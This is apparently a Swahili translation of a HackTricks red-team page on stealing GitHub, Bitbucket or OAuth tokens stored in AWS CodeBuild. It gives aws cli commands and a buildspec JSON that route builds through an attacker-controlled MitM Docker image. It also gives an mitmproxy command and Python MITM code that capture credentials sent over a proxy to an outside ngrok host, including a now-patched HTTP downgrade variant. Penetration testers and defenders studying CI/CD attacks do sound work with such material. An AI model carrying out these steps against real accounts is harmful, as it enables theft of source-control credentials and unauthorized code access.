AWS Codebuild - Token Leakage

Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Rudisha Vitufe vilivyowekwa kwa Github/Bitbucket

Kwanza, angalia ikiwa kuna vitufe vya chanzo vilivyowekwa ambavyo unaweza kuvuja:

aws codebuild list-source-credentials

Kupitia Picha ya Docker

Ikiwa utagundua kuwa uthibitisho kwa mfano Github umewekwa kwenye akaunti, unaweza kuchota hicho upatikanaji (GH token au OAuth token) kwa kufanya Codebuild kutumie picha maalum ya docker kutekeleza ujenzi wa mradi.

Kwa madhumuni haya unaweza kuunda mradi mpya wa Codebuild au kubadilisha mazingira ya moja iliyopo ili kuweka picha ya Docker.

Picha ya Docker unayoweza kutumia ni https://github.com/carlospolop/docker-mitm. Hii ni picha ya Docker ya msingi sana ambayo itaweka mazingira ya env https_proxy, http_proxy na SSL_CERT_FILE. Hii itakuruhusu kuingilia sehemu kubwa ya trafiki ya mwenyeji inayotajwa katika https_proxy na http_proxy na kuamini SSL CERT iliyotajwa katika SSL_CERT_FILE.

  1. Unda & Pakia picha yako ya Docker MitM mwenyewe

  • Fuata maagizo ya repo kuweka anwani yako ya IP ya proksi na kuweka cheti chako cha SSL na ujenge picha ya docker.

  • USIWEKE http_proxy ili usiingilie maombi kwa kiishio cha metadata.

  • Unaweza kutumia ngrok kama ngrok tcp 4444 kuweka proksi kwa mwenyeji wako

  • Mara baada ya kuwa na picha ya Docker iliyoundwa, ipakie kwenye repo ya umma (Dockerhub, ECR...)

  1. Wekeza mazingira

  • Unda mradi mpya wa Codebuild au badilisha mazingira ya moja iliyopo.

  • Weka mradi kutumia picha ya Docker iliyoundwa hapo awali

  1. Wekeza proksi ya MitM kwenye mwenyeji wako

  • Kama ilivyoelezwa kwenye repo ya Github unaweza kutumia kitu kama:

mitmproxy --listen-port 4444  --allow-hosts "github.com"

Toleo la mitmproxy lililotumika lilikuwa 9.0.1, iliripotiwa kwamba na toleo la 10 hili huenda lisifanye kazi.

  1. Endesha ujenzi na ukamatishe siri

  • Unaweza kuona token katika kichwa cha Authorization:

Hii pia inaweza kufanywa kutoka kwa aws cli na kitu kama hiki

# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json

## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}

## Json

# Start the build
aws codebuild start-build --project-name my-project2

Kupitia itifaki ya HTTP

Udhaifu huu ulisahihishwa na AWS wakati fulani katika wiki ya tarehe 20 ya Feb ya 2023 (Nadhani Ijumaa). Kwa hivyo, muhusika hawezi tena kutumia udhaifu huo :)

Mtu mhalifu mwenye idhini iliyoinuliwa katika CodeBuild angeweza kufichua tokeni ya Github/Bitbucket iliyowekwa au ikiwa idhini ilikuwa imewekwa kupitia OAuth, tokeni ya OAuth ya muda iliyotumiwa kufikia nambari.

  • Mtu mhalifu angeweza kuongeza mazingira ya pembejeo http_proxy na https_proxy kwa mradi wa CodeBuild ukionyesha kwenye kompyuta yake (kwa mfano http://5.tcp.eu.ngrok.io:14972).

  • Kisha, badilisha URL ya repo ya github kutumia HTTP badala ya HTTPS, kwa mfano: **http://**github.com/carlospolop-forks/TestActions

  • Kisha, endesha mfano wa msingi kutoka https://github.com/synchronizing/mitm kwenye bandari iliyoelekezwa na mazingira ya proksi (http_proxy na https_proxy)

from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
  • Hatimaye, bofya Jenga mradi, vyeti vitatumwa kwa maandishi wazi (base64) kwa mlango wa mitm:

Sasa mshambuliaji ataweza kutumia token kutoka kwa kompyuta yake, kuorodhesha madaraka yote inayo na kuitumia kwa urahisi zaidi kuliko kutumia huduma ya CodeBuild moja kwa moja.

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks:

Last updated